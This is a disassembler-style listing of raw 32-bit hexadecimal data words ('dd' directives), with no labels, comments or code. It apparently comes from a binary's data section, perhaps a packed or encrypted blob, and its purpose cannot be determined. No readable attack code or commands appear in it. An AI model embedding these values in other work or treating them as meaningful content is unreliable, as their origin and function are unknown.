		dd 0DA89139Eh, 1C30BA5Bh, 95DD1A85h, 3D89CE9Ah,	5F08F880h
		dd 2BF290Dh, 5718683Ch,	0AEB97118h, 9CA3512h, 61EC27F0h
		dd 3C681E31h, 2DF4763Ah, 0ECFCFA90h, 1F25B2C0h,	525318BAh
		dd 35E70A2Ch, 0B7E18F86h, 0FCD7808Fh, 0A5661B24h, 7B76B018h
		dd 0C14C4B98h, 38E2E066h, 801093B8h, 6FBA20E1h,	0A109AE29h
		dd 0CE833EDCh, 0EDDC6FE2h, 901AB701h, 0F3DDD603h, 26A28D3Fh
		dd 545D40F3h, 928D7D52h, 254E16A3h, 0A136EFECh,	0D33F608Ch
		dd 2A1F83C9h, 7DDE2260h, 9F64CF0Bh, 62FEB880h, 43B840A4h
		dd 1736701Fh, 1800225h,	1ECE40DAh, 1B970133h, 0F0E9525Bh
		dd 0CFE396BBh, 6BC7B60Bh, 0EA55F2C3h, 0C9A05E06h, 0A56BAADEh
		dd 0C752163Fh, 709B1101h, 5C6A2ADEh, 24FCE852h,	4EC073Dh
		dd 0E9E60EE9h, 2D640E11h, 25115769h, 0D10118ADh, 262311BCh
		dd 0BAD47E7h, 0DD582124h, 0A444E0B5h, 169BB595h, 31F4CC9h
		dd 0D41CFD21h, 0DEB63113h, 0D01F7F10h, 879B34C3h, 0ED8CC9AAh
		dd 715BA89Ch, 74E38AB5h, 1A15AB01h, 38EDE928h, 52B0902Ah
		dd 0EAE1A4B2h, 0C3177C56h, 76DA21Eh, 2A7F0CBBh,	0CC3A0CDFh
		dd 12F14A0Fh, 2387A402h, 0CDDC8368h, 62D622E3h,	0D17C6h
		dd 0F0A41BFh, 60056D03h, 0A86B8106h, 60D13F34h,	3653146Fh
		dd 0F828291Ah, 44EB072Dh, 0F9A4C211h, 1EA5A7FBh, 0DC73A17Fh
		dd 553CE263h, 18CCDAAh,	26EE1B8h, 0FF442908h, 7CAA58A3h
		dd 30538F75h, 0B05F1140h, 0C0207CFCh, 0D43B1B06h, 9F59E968h
		dd 6116965Bh, 0C8D036E8h, 0E976E45Eh, 38097D4Eh, 81EA5E59h
		dd 0C32BADEFh, 9592D601h, 814F46A3h, 30B9A3F8h,	0F2E97509h
		dd 3C9EF1F6h, 0F993FB13h, 5E374A83h, 65822ED2h,	8E1990E4h
		dd 811C307Bh, 121A42F2h, 4A7D053Eh, 7EC05780h, 9693AA74h
		dd 3E9EB220h, 442DDFD2h
		dd 0B10A7A72h, 626B8A42h, 0D0E089C6h, 0A4B90341h, 0BD35FA7Bh
		dd 37A90BD0h, 5C47A4B4h, 0E9912D67h, 6262C6B5h,	0E9F46093h
		dd 82A7CBDDh, 57AA0512h, 7F0EB600h, 6802C004h, 9BAF1A41h
		dd 0D8842FB5h, 7AE63020h, 5188C783h, 5B56F312h,	81E92DFEh
		dd 6DDABDEBh, 0C03F4574h, 2DCD8184h, 2E4B761Dh,	6CDBF581h
		dd 0FD43199Eh, 48AEB04Eh, 0FE092DE9h, 0D0D72548h, 40C173C0h
		dd 98382551h, 59BD1E84h, 16415229h, 5A4D4B5Fh, 0E9780756h
		dd 29074036h, 5B5F5F7Bh, 40C3F6E4h, 13EC47EAh, 2D128DBCh
		dd 0F649BCB9h, 5F00183h, 20C920D9h, 0B8484B5Eh,	7B5BC9BAh
		dd 0E9C603BAh, 0BD1CE3A8h, 40497FE6h, 1B177C55h, 0F78B245Ch
		dd 557D634Eh, 0FFAC61h,	8E38B49Dh, 3B6A3501h, 8915C318h
		dd 95EE086Eh, 0C1FE41B8h, 709266FAh, 0F30925h, 5308630Dh
		dd 0C520BD32h, 205912E6h, 7E200698h, 0EED12489h, 720203DDh
		dd 46EA3CF4h, 881EECF0h, 5C0959CBh, 9A66D132h, 0AD007915h
		dd 0FBBB5356h, 5A9A0F1Fh, 0C6A04192h, 52D9EC40h, 10171C04h
		dd 4A4C41FCh, 707AF936h, 189D9BF1h, 276FD000h, 0AD8A59D6h
		dd 2A6CA7F7h, 8E5277F4h, 4E1D04B8h, 2C0266E5h, 0EB824A6Ch
		dd 93DFCBBCh, 242FC1FCh, 0F8C02D04h, 0F49EC6FDh, 503CB140h
		dd 0FE1800B4h, 5E4C0CCh, 0A55EEC80h, 4AE978B0h,	4F19FCD2h
		dd 2AE9696Ch, 4AA29A30h, 6854D2D5h, 870B725Ch, 0E827BB2Ch
		dd 4F52282Dh, 8EABE36Ch, 1DAA04CAh, 8FA80108h, 3C149200h
		dd 595D51E2h, 24ABB705h, 0D04F8658h, 7FBB7300h,	0F4443B67h
		dd 8C2D5BB1h, 0C1EAE849h, 908FD8C4h, 0DA7AA71Dh, 45B5F505h
		dd 0BA082971h, 54003CDh, 23986E09h, 7F127B35h, 0F603750Eh
		dd 0FF569459h, 0E0BEE103h, 4BE9C701h, 0EF40406Bh, 787D0A3Bh
		dd 918C0CC3h, 7682BDB5h, 617D7C5Fh, 3AEDF6E9h, 108E8B41h
		dd 42B48DDh, 0B21594A7h, 0C285EE4h, 25F62568h, 0BD60407Eh
		dd 0B4D5A23h, 6DE95613h, 0A6935270h, 9DB3ED08h,	85B6D6FAh
		dd 4604EF72h, 84167862h, 5295EF7Eh, 0EF4CB4D1h,	0D26AC804h
		dd 7025E0Fh, 69169331h,	8CEE05C4h, 0AE4A09F8h, 0AA428FA4h
		dd 8FC7FCC5h, 3366A7B5h, 5B9522F5h, 0B54A6B4Eh,	0E9D218FDh
		dd 44844BBFh, 0BFFE65A4h, 0A13E24DDh, 0AF180580h, 8CFE9904h
		dd 8BC70416h, 0CCBE01E4h, 40CA9049h, 1D0EFAB0h,	0C24E0A08h
		dd 552C17F6h, 770B9650h, 563A584Fh, 0EABE3F1Bh,	73B16487h
		dd 8D089929h, 471C3008h, 5B2EAD74h, 0A6181D5Eh,	1361EE9Fh
		dd 0EA20E523h, 3FE95720h, 92519DA4h, 0A28F27BFh, 5B8D91Fh
		dd 0F1479958h, 50ED5248h, 4A06945Eh, 98633DDh, 414B155Dh
		dd 0E1FFFE2Fh, 7CF75E8Bh, 2311C43Ah, 0F5BCD464h, 0A371F9A4h
		dd 5FB9C2E9h, 12F6136Eh, 0C35A1E48h, 158BFD01h,	0CD1D6EB5h
		dd 7E49A74Ah, 0F512915Ah, 5F688CA0h, 8A82505Ch,	0EEFA284Bh
		dd 6CA9984h, 2412C9E9h,	5BCF4897h, 437F0BF9h, 5FD9FB29h
		dd 0F7CB8783h, 810801D1h, 0AB7505F3h, 0A0056F54h, 31BFA744h
		dd 33E68Eh, 2D0342BDh, 4558757Bh, 4F087417h, 0E9070142h
		dd 2811F093h, 4DFBF521h, 4E48C2A5h, 9508F4Bh, 4678F268h
		dd 75C2E7F0h, 55B965CEh, 7286C10h, 2027988Fh, 6805871Ch
		dd 6B8E14CDh, 0C25160BBh, 0BA097E2Bh, 600FE93Ah, 0EE545299h
		dd 68066EAEh, 0C00664D7h, 0FD0DDB6Eh, 0E5E92B1Ah, 108568Fh
		dd 0E6C1DEF7h, 0EF0B2008h, 98F1991Dh, 3193EB83h, 0F301E1BDh
		dd 664D2C3Fh, 4E9E4917h, 0CFEEF6D0h, 3DF83D1Eh,	0F1180E69h
		dd 371754F6h, 94E4F43Ch, 0BD36BA21h, 2AE23033h,	0E59079F0h
		dd 0B4C08A5Fh, 4A576859h, 80492412h, 18696219h,	66BD0D1Ah
		dd 0D3E0000Bh, 2620B349h, 201BCD29h, 1591208h, 7F328DE9h
		dd 406B8798h, 7B955679h, 0D5509FF8h, 904EB274h,	212E6B32h
		dd 1DAC6A50h, 114F1C7Ch, 14E34300h, 5B0FB651h, 7BD58743h
		dd 0B828CF84h, 20A8CB61h, 5AF43043h, 0C0FA9080h, 51520106h
		dd 0E1F43AB1h, 7F882B5Ch, 0F5E5F13Fh, 2BF83B4Ah, 0A13BE77Bh
		dd 0B4C6F833h, 746286Eh, 0F80558E7h, 949E49A4h,	0C7B22DD8h
		dd 532DA2F2h, 1396EBF3h, 0B93078E4h, 0C4D6E3h, 5AC2CBBFh
		dd 263D3DF6h, 50EA700h,	737A017Eh, 25A02D00h, 0BDE98221h
		dd 0BD7C9AA2h, 0F556109Ah, 0F0E65625h, 2196AFD5h, 9E252682h
		dd 988A7E15h, 0B6529540h, 0E6C0BB14h, 0CD7E7388h, 2B55B4Dh
		dd 8D13332Dh, 3999561Ah, 0A3C3C3CEh, 5A06F0B0h,	9B8A535Eh
		dd 4E7C444Eh, 7133FA4Ch, 5942D052h, 0C2234A70h,	226A8E56h
		dd 2AFE9457h, 69A12ECBh, 14DD5F5Ch, 0C225BC5Fh,	90BE5E7h
		dd 11850C0h, 0EF10D2Dh,	0D88EC981h, 0E9272697h,	0F6A360B0h
		dd 3AC0B7DAh, 8782D458h, 8182B31Dh, 6254749Dh, 2811EA7Fh
		dd 59BEA048h, 5324B47Ch, 0B1081849h, 3BFF81F1h,	215E3291h
		dd 138A577Ah, 3D1F43h, 816ADE7Fh, 0DC129F2h, 0EE9D101h
		dd 0AD4B0B2Bh, 0C001A353h, 0E949E45Ah, 900F8E6h, 3099B450h
		dd 0FE085B02h, 246C4C59h, 0EC8639B8h, 0D2F6D50Dh, 6B10AE08h
		dd 0BE063D3Eh, 51D487DCh, 0E5A6CBB5h, 17CD7C4Eh, 5C580DDh
		dd 8C0FF510h, 88E2B53Bh, 5359E817h, 1A8354E9h, 3639EDD0h
		dd 63CD98F6h, 2D88DE0Ch, 0FFD059EBh, 18C0FE2Dh,	1F6FB790h
		dd 274F780h, 0F65306E7h, 5B01FA83h, 1E8D96E7h, 3F16B5Eh
		dd 0BC3DC3C1h, 94B0E297h, 630E0034h, 0E95A20A8h, 5DFE58F3h
		dd 81C138C5h, 107378ECh, 25C845F6h, 3BF91DF7h, 0E9EB21C0h
		dd 0B5429ADEh, 0D2E7D233h, 79FECE6Ah, 0BAEEB81h, 11216DFEh
		dd 0ECACED64h, 247662A2h, 4661F928h, 0CD69E84Eh, 510F91B5h
		dd 5DD54060h, 0C30F1EB4h, 0BC55ED68h, 255A089h,	75D8418Eh
		dd 1C9072E5h, 4E41FA2Dh, 4DB33A66h, 66C83A26h, 82B3CDEDh
		dd 3FCF4C08h, 0A72EB9Ah, 55E995FEh, 0D973740Bh,	0C49C924h
		dd 0FB85F12h, 0F91FED9Dh, 55B98366h, 4D22C145h,	50BB7B11h
		dd 0AD3030C0h, 40123C09h, 0C168009Eh, 0A80506E0h, 663C4C2Bh
		dd 0F4428735h, 0E9E23186h, 0BE7DDEA0h, 0EA0DD009h, 60F1F400h
		dd 0FB5BA3A9h, 54D44CC9h, 68170BBAh, 0C0302A87h, 1C096AD6h
		dd 620CE932h, 0B045C535h, 0A6C9AC94h, 0E6B0958h, 6E406D66h
		dd 0D210D601h, 3A582F08h, 0E89D0716h, 813F5FD0h, 36BD05CAh
		dd 0B4F76A74h, 52FA61DCh, 6B1CEAFCh, 0C7070D6h,	0A90C48Ch
		dd 1D5AE9EDh, 76D2AFBCh, 0EFB7AF9Ah, 0B9E905FCh, 28CFF9E2h
		dd 869CC3A6h, 25346C27h, 1B906855h, 51C01C1Ah, 392D0ECDh
		dd 0B08B829h, 417176B1h, 1EE16200h, 85BDDBBAh, 4A025677h
		dd 0DE99F1E9h, 7497839Eh, 0C0E2888h, 0C4F017B9h, 5AA8F921h
		dd 0C4B9F7D6h, 31EC3EE9h, 0FB35300h, 0EBD0D3F6h, 62C3801Ch
		dd 0C009D816h, 0EE114603h, 2589BAFAh, 9E8C6FEh,	0B780EF21h
		dd 20B22D9Fh, 594ABBF0h, 0F3B19AC1h, 0E441C721h, 0DE6A8FC6h
		dd 90DA4D21h, 0E9D9D89Eh, 7C197A9h, 12E72E50h, 0BF920C8Eh
		dd 0E45D2039h, 1795CA3Fh, 55E97E9h, 58B67025h, 9E2057D3h
		dd 5D74D782h, 882D24A5h, 8B2B6CB1h, 4EB5362h, 7465E9FDh
		dd 2FBA8DBEh, 0E90DAAA7h, 222270E0h, 12BBD290h,	1F36BB31h
		dd 0E737A062h, 0A074148Ch, 0F800F661h, 89BF7F9Fh, 9354E9FEh
		dd 0E7B15998h, 4430EB07h, 0FB016FA0h, 802D49E9h, 95E53502h
		dd 21D53F28h, 7F49C50Ah, 0DDE5A221h, 9508FAA0h,	0A123D965h
		dd 929DA38Bh, 0BFF860A6h
		dd 7FC93980h, 0F60F1ECCh, 0F117FED9h, 88D2E4C4h, 25BAC1B5h
		dd 0E6582568h, 1F09C0E4h, 1C0CC62Ah, 2AC528E9h,	2D967DBBh
		dd 0C878468Dh, 50D90925h, 9A530FDDh, 0CD22B421h, 32605159h
		dd 692F23DDh, 3AAB7075h, 0DB054D35h, 0F3C18986h, 0E40127D1h
		dd 6C2502A9h, 0C8F8E90Ah, 91264577h, 0C0E98202h, 53205778h
		dd 0AB506A68h, 590CE8BDh, 4ACDBD55h, 0DC99E984h, 0D29CCAACh
		dd 0C129BEE2h, 2598A7Ah, 3144FF68h, 50EAE26Fh, 0DF5A5ECBh
		dd 6FA75036h, 8A9D18BDh, 0E2D58209h, 0B94B5FE1h, 6FA9BD4Fh
		dd 1276BF84h, 1E406FDDh, 1E5CB951h, 1450F156h, 0E90C7ECBh
		dd 0F0378B16h, 0F44119B8h, 17899CBCh, 4A854345h, 5A35FB83h
		dd 16C523A2h, 571C9018h, 3B006ABFh, 0FEB8103Ah,	3214E04Dh
		dd 0E997F829h, 1921FB89h, 0D80470B0h, 0F1B0CE0Ch, 1325537Fh
		dd 2756E630h, 540625h, 0CB6374C0h, 0DA71F30Bh, 0C377F06Ah
		dd 81F2E15Bh, 29266882h, 2D588BFCh, 0F64D17C9h,	17788441h
		dd 8545E907h, 8840A7B3h, 3E47E0C9h, 48B1B019h, 82067E06h
		dd 0F253795Bh, 0BB7DD904h, 2BC7291Ch, 0B0D2A409h, 58C2BEC1h
		dd 0B6B3FEE8h, 0AA0C4F7Fh, 230FBB9Bh, 12074F0Eh, 895E9501h
		dd 7EFE59CEh, 6E9E42C3h, 454732D5h, 5EE904B7h, 244DFE32h
		dd 0E40181E7h, 58E09310h, 3163B809h, 0E904DFF7h, 58F32C48h
		dd 0DEA9A46Ch, 0E4CC5B8Eh, 0FD2AE911h, 0B800DDA3h, 567511F0h
		dd 5821E235h, 0AF10881Ch, 456A757Ch, 6AE952B3h,	0B7AF4411h
		dd 84D9FCB0h, 0D7C2008Ah, 90443617h, 80982053h,	2F17C4E6h
		dd 9E09E628h, 108B66F0h, 22DE4E9h, 1F67BAB9h, 0F20C5750h
		dd 1A13BEAEh, 33415F8Ch, 1D7B05FEh, 516FE8CFh, 3CC2B590h
		dd 1BE2F40Fh, 0ABE30C59h, 6EDF5F88h, 0E9CA0106h, 25AB0E91h
		dd 7EC66DD6h, 0B5DE91BFh, 0BD1B8AE0h, 70250C2h,	0D87E3158h
		dd 2E82E9E1h, 29216601h, 5BA93457h, 4E50DEFBh, 762FD40h
		dd 4A0129FEh, 55ECD44h,	0A5FEFC0Ch, 0E984B0B2h,	5A7393FAh
		dd 0CDE848h, 0B10936B9h, 1E98135h, 3D04739Ch, 0C053BE56h
		dd 0CEF80712h, 0E2725A0Bh, 0DE8E6037h, 0B510F045h, 8E9D201h
		dd 64366B91h, 0F26813F7h, 0D3F7A271h, 2B2784E1h, 7B211910h
		dd 0B58EA5Ah, 21EC086h,	0F229512Dh, 7C5690E9h, 0FEDDF602h
		dd 0EF057FC5h, 0CD820EEDh, 6A5F5A6h, 0B9C0673Dh, 69E5BF06h
		dd 138042Eh, 374B20E8h,	0BB0AB2B4h, 0F8A595F6h,	747AE7C0h
		dd 33D0AE55h, 0BDBCB0E9h, 5AD036E8h, 90C3303Dh,	803B93E2h
		dd 0ACEE2Ch, 28482CAFh,	38C404C8h, 0BF008520h, 15311349h
		dd 2D0071BCh, 1E817A5Ah, 5E82829h, 1444F907h, 0E4C49F3h
		dd 1C5F0502h, 0E37A673Bh, 0BA6F120h, 65CFBD66h,	7E13DCDCh
		dd 0EE0CFCFCh, 0C60A61EAh, 3E21443Fh, 0B3BA2852h, 0D67E29F6h
		dd 1535A3Eh, 0E919B3BBh, 303BA094h, 34526DE4h, 4D4C5D71h
		dd 2F8405CBh, 0D28027BCh, 5A91D65Eh, 19B1E8FBh,	543A97F4h
		dd 0C07AE66Ah, 2A76084h, 760B2768h, 0BD876B79h,	777461DDh
		dd 6FCAA80h, 0E96509E0h, 85695D2h, 9A6C64EFh, 5B788EABh
		dd 79364945h, 553D32F6h, 0A3EB4696h, 0C7319AAh,	35C4581Ch
		dd 91711880h, 0C8B72A49h, 16486880h, 274265h, 7AC7F2EDh
		dd 62D26F71h, 765FEE49h, 1B8BB9FDh, 0F036BFCh, 6B1E8A2Bh
		dd 391D01EEh, 0FB43A22Fh, 82BB0291h, 894F8475h,	2EF9D7C1h
		dd 211E8B63h, 546397D8h, 4E1625EAh, 7A7F2BBh, 796D3852h
		dd 5CFB35C3h, 4B9E5351h, 0CA81DF87h, 204414E7h,	0BA015209h
		dd 61163631h, 0CF2CD2F7h, 15354008h, 0B4855F01h, 0C03E3143h
		dd 80E9FEBFh, 7397BC92h, 0E6541252h, 0F2D85BBEh, 3432FEBAh
		dd 0B66721Eh, 9171B1E2h, 0B3C5173Ch, 8A68B733h,	85DF5120h
		dd 0F958DDh, 1460F7B8h,	0FAFC4856h, 744AE916h, 1E824E20h
		dd 355D0328h, 449B4096h, 5B5267A8h, 0F5E93408h,	9552878h
		dd 433A1F3Fh, 0E00E027Dh, 0AA6801E4h, 0C6BD6C19h, 0E999CA91h
		dd 0DFD95E7Bh, 801674CDh, 3F25686Fh, 5B2E1D06h,	594EDBF7h
		dd 8915C90Dh, 8D488B30h, 4EF44310h, 4248EDF8h, 5D932732h
		dd 2288A056h, 0D2491FF7h, 9F38507Ch, 5B76DF02h,	0CB804A3Dh
		dd 2F210D2Bh, 0DA3CE91Ah, 45508224h, 8D809D3h, 0BE26312Ah
		dd 0FCFEB27Dh, 51B10B95h, 5DB0BD1Ch, 62E58141h,	2A21050Fh
		dd 0AC0F8557h, 1EC403BCh, 0D7BE0184h, 823A940Dh, 0A0928E4h
		dd 0FE253F5Eh, 0E02C44BDh, 0EC984343h, 6F2E9D0Bh, 7084570Dh
		dd 0AE0BAA46h, 0E757889h, 0E18858B4h, 0B6470772h, 1510E263h
		dd 0E69E3671h, 52B11071h, 96A0AB30h, 16729C59h,	0F2B685CBh
		dd 68660799h, 914B7C1Fh, 8D6A1A6Ch, 0EEBE011Bh,	8BD13CD0h
		dd 99814C5Ch, 69DD08CCh, 293CD0A4h, 0DA14B25Ch,	652705C5h
		dd 47AC2318h, 0AC71C851h, 5781802Dh, 0FC6BAFBFh, 9209B92Eh
		dd 0F07312DDh, 922D5B08h, 23DC0519h, 0E8D1E985h, 805A41FFh
		dd 0D82DFD2Bh, 5B7F5E53h, 0AB194132h, 8EDC7C8h,	2C099FD2h
		dd 77E18492h, 0DE595A09h, 3523502Fh, 0FFAFC1A1h, 2512DC08h
		dd 9A0218D6h, 178C63h, 36273FF2h, 5C512E3Fh, 0B1AA10CDh
		dd 3DA5828h, 0CEEF8001h, 0C7ABF728h, 0AF92E9A9h, 77CD0977h
		dd 6F41EA2h, 1D062C24h,	7D791BC6h, 0D16F312Dh, 0A3C20DD5h
		dd 10F527ADh, 0BD4A88D0h, 590F00F7h, 0EF681FD6h, 5BF19F53h
		dd 118DB42h, 55197568h,	0A85A0010h, 0B905F071h,	0E6A45109h
		dd 12CBD453h, 0C1A30E41h, 1C4903C7h, 0C63F5C82h, 0CD0189BEh
		dd 61B35559h, 7A9587D9h, 8248248Ah, 8E1BD15Eh, 4E9C36A1h
		dd 0FB252B8h, 685033C1h, 1F819363h, 2F58BF61h, 78130E2Dh
		dd 0FDAE6320h, 294ABD00h, 7A305C8h, 0FF110CADh,	0BEB75974h
		dd 88CAD0BEh, 0BFAD925Bh, 16BF3EF1h, 0EA536855h, 0F9A201AFh
		dd 20082F1Eh, 0C1FC5086h, 86E93109h, 83D3742Bh,	0E639CD29h
		dd 7BEB2AD9h, 48DB6E40h, 48BA5EA5h, 1F25E3A0h, 0BC8DB605h
		dd 4EBD1EFDh, 50ECDC9h,	0ED8FEB1Fh, 9AB7904Fh, 6D267B08h
		dd 0FA085E5Ah, 0FD042D86h, 1074E277h, 46007C0Ah, 38DDF681h
		dd 0C2EC3679h, 2F707403h, 40F20163h, 5A5E08CCh,	0FFDF1255h
		dd 1DCF9D7Dh, 0D28CB2BBh, 1047A96Eh, 257A298Eh,	29C6959Eh
		dd 31C2A22h, 770632F6h,	0B12F7BEh, 0DFB9EE31h, 48C3CE10h
		dd 79EC0706h, 0D9B44E32h, 0EB4040FFh, 64B227A9h, 7B49E290h
		dd 5BDD098Eh, 7DA0DF21h, 75A85453h, 9AF8292Dh, 412DF94Dh
		dd 237DB268h, 623A78D2h, 5D0B82F6h, 68F099E9h, 2580B9DBh
		dd 0CB833CF4h, 65FAC6FEh, 685E27C8h, 6620072Dh,	0D4182D79h
		dd 0B7AD3A7h, 9C095AF6h, 0E1FD0404h, 0E56183BAh, 0D01E875Fh
		dd 0A47015h, 6A7A68B8h,	41D0F762h, 0C1028E05h, 0E914F8E0h
		dd 44245ED6h, 0ED99B0F9h, 3FC6A457h, 51523B59h,	0F747B98h
		dd 790B24BAh, 7C2921F6h, 0D5EB08B6h, 0B59AFA25h, 6B0C41ADh
		dd 59AD4D35h, 10EFCB4Ah, 9C4809FBh, 5C587A20h, 7C20C9h
		dd 8E43AEBAh, 5EAC128h,	0AD4A4A7Eh, 9C52DB87h, 620EDE66h
		dd 5CCCDC02h, 0F14CF7FEh, 0F97F2D97h, 0C00896E6h, 288C2C60h
		dd 5A04D83Ah, 48B56128h, 135885B3h, 0E3E92B0Bh,	3095DDD0h
		dd 4A6C6850h, 0D687EC5Eh, 0C12DD6B2h, 0C5A706Bh, 77E97C91h
		dd 0B28F25CBh, 68516340h, 0C44D9B2Ch, 817DB062h, 0E9B353FCh
		dd 1901A6A4h, 44D5231Ch, 53481F84h, 2B23B139h, 0FFA0B34h
		dd 644579Eh, 40F8BC01h
		dd 0DB955B08h, 0F4CE1FB4h, 5AEC040h, 800041D8h,	137F0D17h
		dd 752D5DCDh, 0C1FD5EFBh, 0D84E6899h, 0C2780109h, 580842E5h
		dd 91C1224Bh, 6B8A4D6Eh, 575A3362h, 0B834E14Eh,	0E5E37E65h
		dd 29B4CCD7h, 0CE2DE85Fh, 2A5D293Fh, 5526FFB2h,	22FC00ACh
		dd 0C7E93C52h, 554BC29Dh, 0E020CB16h, 0F74E0F66h, 0CA2456D6h
		dd 99F11379h, 47D23517h, 2CE4C4E3h, 440D0A21h, 618A5A4Eh
		dd 0E181480Dh, 7D52E181h, 0F1FF70D5h, 2C44250Fh, 15C9806Eh
		dd 98050B11h, 0D4DCEDDAh, 0EF08B718h, 0F6C201BAh, 0A6192E54h
		dd 0A90B800Ch, 78778505h, 407998A9h, 0F50080A4h, 0B4506648h
		dd 0ECE52026h, 8216C958h, 305F6601h, 107E4AD5h,	680277DEh
		dd 104D12CFh, 0AA8E0077h, 0BF1F2758h, 0A0FDCD09h, 6271C674h
		dd 31F922E5h, 19EA4B20h, 5047B159h, 0D5623FD5h,	0DD224229h
		dd 0B94A554Eh, 304BA916h, 154C8449h, 60B49DEAh,	52A1030h
		dd 575BCD19h, 7BE74D61h, 2B8ABF8Bh, 0A4628476h,	75E0BD0h
		dd 2CA3D108h, 409D28D8h, 661E6497h, 715D0289h, 0DF992FB7h
		dd 0A94C532Fh, 2B1239CBh, 0A7014127h, 0BED8D4CBh, 0F216FE2Ch
		dd 39F09D6Dh, 0BE4986DEh, 0F4B70722h, 0A4F8E780h, 3F1FB1C1h
		dd 0F4539CA4h, 0F9EBAB4Dh, 0F63F642Bh, 0A80127F2h, 2934B8ACh
		dd 1363CAEFh, 7934FAD5h, 1A0C0325h, 0D873C6h, 0BD19C70Dh
		dd 806E0570h, 211BD117h, 499155F0h, 9782873h, 59EC28AFh
		dd 0A7A993F7h, 0C8FCBF62h, 0C78F666Ah, 0FF63D3E2h, 0DE21BCF3h
		dd 0FA0EF3C9h, 2164005Ch, 2DBB0BE0h, 0DE5E7767h, 17C351A4h
		dd 959CCFE9h, 7ECCF9B7h, 0E15402F8h, 3C2D68CAh,	0E2971811h
		dd 75590003h, 1FE1CD81h, 0EDEC766Fh, 4D948FB4h,	20E825FBh
		dd 2468F642h, 6E77482Bh, 8BC69B05h, 5E83C2F3h, 6E9331DDh
		dd 1C703338h, 96EA80CAh, 10678559h, 0CC5A7E6Eh,	3B962137h
		dd 0AB0ADC5Ah, 0E6A53967h, 0D662A9CCh, 5A964658h, 69A925D4h
		dd 22E54076h, 0CF81B147h, 5FEB2F71h, 0F766902Eh, 0C514ECFCh
		dd 27AA8987h, 0E9994829h, 5D39CF06h, 39DFA1D7h,	0D45F255Bh
		dd 93D65A19h, 2DAD7188h, 6405148Bh, 0C4A4AC85h,	7E180521h
		dd 9D2EAAC2h, 8700BCC6h, 0E930C942h, 2223621Dh,	0AEF4C328h
		dd 0D39F531Dh, 4545D052h, 71E8595Eh, 1CFE55Ah, 3A417FAh
		dd 0EDBCFC54h, 5EB5B8A0h, 70F87A5Ch, 19BD6440h,	14263E02h
		dd 54053A8Ch, 0CEAFD021h, 0A060120Bh, 302E2CA2h, 0E1590994h
		dd 179A2848h, 51639816h, 28D894A1h, 0E92A3DEBh,	445FEADh
		dd 8278BA2Fh, 52E06891h, 433C0EECh, 12DF1C4Ch, 5356EE8Ah
		dd 40F7B5A0h, 94955282h, 0F7BA81AAh, 9F02E43Dh,	89473770h
		dd 0CD01287Ch, 1CF90F79h, 4CCE3461h, 7B4EE48Dh,	0D05167CAh
		dd 67AA050h, 7E07CE81h,	462B0E26h, 5310E670h, 8E4748EBh
		dd 0E87DE700h, 6888E942h, 0BC41CFAAh, 3A7959CEh, 0EA00A1C5h
		dd 729E4E47h, 0C8B530E9h, 66CC68ABh, 0D1B8414Eh, 793F2DB0h
		dd 574FA03h, 0ADB91277h, 0C3C915FFh, 0B5A1FC4Bh, 30C720EAh
		dd 4A03770Ah, 79F3814Bh, 0E901C823h, 0B5C1B234h, 0D86410F9h
		dd 8252E0D7h, 4C4E7D61h, 85C812B5h, 87BBF16Bh, 2244F2h
		dd 3753055Dh, 53134804h, 17DC2D7Dh, 81801EE4h, 0E5500254h
		dd 47E6CFAEh, 89796A24h, 0EF89521Dh, 279D5C7Fh,	0D620D0CCh
		dd 0F64CA019h, 0C4FBFE0Dh, 12B61EACh, 0B7F922BFh, 68563668h
		dd 2C15F10Fh, 0F03D643Fh, 24A3E9B8h, 0B426A88Ch, 228BD2F9h
		dd 65B555F8h, 60F18D6Bh, 0F0A77A1Ch, 2511BC10h,	2D1D9E52h
		dd 4076CF4Ch, 755216C8h, 109D8464h, 821F6D1Ah, 9439EDCAh
		dd 35EA6C95h, 6EF8BF5Ch, 0DADEF92Dh, 49D274E9h,	99B5C1B4h
		dd 57A298Fh, 0FBC74565h, 19F0CE29h, 8977DD99h, 1A327AF6h
		dd 64EB5BC8h, 9A3BE80h,	312ECEB8h, 1D05F0Bh, 128AD725h
		dd 4BA21032h, 0BA16C66Ch, 78B76B20h, 33320259h,	5A5116ACh
		dd 0DD32D4C4h, 77EE2303h, 612CA964h, 1E15959Dh,	0F1201DD3h
		dd 0EF4214D3h, 5D075E68h, 0E4FA046h, 0B4C4BFA8h, 8075B2F0h
		dd 0B168B050h, 56C0952Ah, 40EE9C0h, 67F3F180h, 0CC076BECh
		dd 0D8EBC485h, 0E34A888Ah, 0E90A1AA6h, 70A8F5B8h, 51B78601h
		dd 0F4024939h, 61FE9D6Dh, 13171469h, 8C5B9C68h,	0FC60F398h
		dd 55F7EB4Dh, 4D6E7B98h, 874CA25Ch, 0D20E0520h,	0DE6B8A0Fh
		dd 0F362CC40h, 0C116E97Ch, 0DA685229h, 0DDB03E04h, 3285EDF7h
		dd 0FBC06CE9h, 3980F524h, 0EABA4E72h, 5F7AC081h, 0E3C12F8Fh
		dd 0EBD10512h, 34C3100h, 9F89BCFFh, 2818BE58h, 88F8501Ch
		dd 15C59579h, 0E7B57F2Ah, 0D62408h, 272C31DDh, 0BC4C8DE9h
		dd 28E4A558h, 0E84A9F5Eh, 0C5D766C2h, 8C43AFBh,	1AB15F40h
		dd 1ECA2896h, 3BEFA07h,	0D1D558C2h, 32F4EE6Ah, 0B3E092F3h
		dd 0A1410311h, 225D0532h, 93E97AA0h, 0D22F8F6Eh, 0E1D24C58h
		dd 0A74A169Bh, 0D920F06Ah, 8D2D3E8h, 2AE5B970h,	5769041Ah
		dd 0FE7A79E9h, 0A85A6CCAh, 0F354C5E5h, 0CDC10F5h, 46E4BD16h
		dd 44F5294Ah, 66DA7DF5h, 8CBD0241h, 4D1E8E06h, 1B3A8D5Eh
		dd 0A59BCD87h, 53A3C5B8h, 90C08E20h, 3883CDAh, 4E085890h
		dd 944E83C0h, 205D903Eh, 0CCB77F3h, 5FD7508Dh, 68C50058h
		dd 31DC65BDh, 5DC92BB4h, 48BDA9BCh, 83C56492h, 18827202h
		dd 0DD5B442Eh, 3097F945h, 5E15C891h, 5052CC3Ah,	2CEFF0B5h
		dd 0ADE46BA6h, 9D1D2C40h, 6841939Eh, 814D0B35h,	4DBB99E2h
		dd 0AABCC57Fh, 682E469Ah, 0F3762F89h, 76787872h, 7E552454h
		dd 0C13C444Fh, 37B87E0h, 0CACDFA46h, 7B837678h,	0F82BF9AFh
		dd 187DBC7Fh, 2982E4E9h, 371679F5h, 53EBB877h, 9F01FA0Ch
		dd 0E950806h, 0D34B94ADh, 350E7AB6h, 0DF63B80Ah, 5031B083h
